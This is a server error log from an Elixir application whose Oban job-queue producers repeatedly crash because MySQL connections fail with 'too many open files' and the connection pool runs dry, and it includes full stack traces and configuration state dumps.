State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:45:32.241545Z], limit: 5, uuid: "d6665b97-a58a-4072-a0f3-f846c6c4d9a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:32.241553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.1117>, refresh_timer: #Reference<0.2525715032.1077673987.1116>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:44.523000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:48.956000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:49.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:50.610000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:51.689000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:53.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:54.780000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:56.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:45:44.239423Z], limit: 5, uuid: "f76022ef-05f8-491c-919a-c02e3247a578", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:44.239429Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29123>, refresh_timer: #Reference<0.2525715032.1077673987.1170>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:45:44.241200Z], limit: 5, uuid: "777501d7-5df2-43b8-aa5d-8819fb6c23af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:44.241205Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29125>, refresh_timer: #Reference<0.2525715032.1121189889.136654>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:45:44.239374Z], limit: 50, uuid: "68da6219-a1fa-47d7-8e7a-1192e21405c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:44.239379Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29124>, refresh_timer: #Reference<0.2525715032.1068498948.28435>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:56.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:45:44.239232Z], limit: 3, uuid: "5e8f419d-143e-45e0-890b-e64a0e1b2440", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:44.239237Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28442>, refresh_timer: #Reference<0.2525715032.1068498948.28428>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:45:44.239265Z], limit: 20, uuid: "9cf25c52-545b-41ef-a453-4dc2bd4507e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:44.239270Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.1192>, refresh_timer: #Reference<0.2525715032.1077673987.1166>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:56.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:45:44.239071Z], limit: 10, uuid: "316fc4f6-02ae-45c7-bac4-938a1b1e352b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:44.239078Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28441>, refresh_timer: #Reference<0.2525715032.1068498948.28427>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:56.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:04.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:04.490000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:05.116000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:06.361000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:07.596000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:45:56.240714Z], limit: 5, uuid: "81b59783-f202-49b5-af76-80239cfde0bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:56.240720Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29573>, refresh_timer: #Reference<0.2525715032.1068498948.28476>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:45:56.247783Z], limit: 20, uuid: "80b53086-ab96-414d-8bd9-5ff5bc091034", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:56.247788Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 